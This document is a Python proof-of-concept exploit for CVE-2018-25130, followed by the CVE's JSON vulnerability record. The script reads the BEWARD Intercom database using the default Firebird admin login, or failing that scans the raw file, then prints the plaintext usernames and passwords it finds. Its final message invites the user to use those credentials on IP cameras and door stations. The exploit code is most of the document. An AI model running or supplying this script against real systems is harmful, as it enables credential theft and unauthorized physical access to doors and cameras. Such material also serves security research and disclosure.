CVE-2018-25130

#!/usr/bin/env python3 """ CVE-2018-25130 PoC - BEWARD Intercom Credentials Disclosure This script demonstrates the extraction of plaintext credentials from BEWARD.INTERCOM.FDB Note: For authorized security testing only """ import os import sys def exploit_cve_2018_25130(db_path): """ Exploit function to extract credentials from BEWARD Intercom database Args: db_path: Path to BEWARD.INTERCOM.FDB file Returns: Dictionary containing extracted credentials """ credentials = { 'usernames': [], 'passwords': [], 'raw_data': [] } try: # Check if database file exists if not os.path.exists(db_path): print(f"[-] Database file not found: {db_path}") return None print(f"[+] Found database file: {db_path}") print("[+] Extracting credentials...") # For Firebird database, use fdb library try: import fdb conn = fdb.connect(database=db_path, user='SYSDBA', password='masterkey') cursor = conn.cursor() # Query for user credentials - typical table names in BEWARD systems query = "SELECT USERNAME, PASSWORD FROM USERS" cursor.execute(query) for row in cursor.fetchall(): username, password = row credentials['usernames'].append(username) credentials['passwords'].append(password) credentials['raw_data'].append(f"{username}:{password}") print(f"[+] Found credential: {username}:{password}") conn.close() except ImportError: # Alternative: Read raw file and extract patterns print("[*] fdb library not available, attempting raw file extraction...") with open(db_path, 'rb') as f: data = f.read() # Search for credential patterns in plaintext import re # Pattern for typical credential strings pattern = rb'[A-Za-z0-9_]{3,20}:[A-Za-z0-9_]{3,20}' matches = re.findall(pattern, data) for match in matches: decoded = match.decode('utf-8', errors='ignore') if ':' in decoded: parts = decoded.split(':') if len(parts) == 2: credentials['raw_data'].append(decoded) print(f"[+] Found credential: {decoded}") return credentials except Exception as e: print(f"[-] Error: {str(e)}") return None def main(): if len(sys.argv) != 2: print("Usage: python cve_2018_25130.py <path_to_BEWARD.INTERCOM.FDB>") sys.exit(1) db_path = sys.argv[1] results = exploit_cve_2018_25130(db_path) if results and results['raw_data']: print(f"\n[+] Successfully extracted {len(results['raw_data'])} credential(s)") print("\n[!] Use these credentials to access IP cameras and door stations") else: print("[-] No credentials found or exploit failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2018-25130", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:46.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beward Intercom 2.3.1 contains a credentials disclosure vulnerability that allows local attackers to access plain-text authentication credentials stored in an unencrypted database file. Attackers can read the BEWARD.INTERCOM.FDB file to extract usernames and passwords, enabling unauthorized access to IP cameras and door stations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://www.beward.net", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46267", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}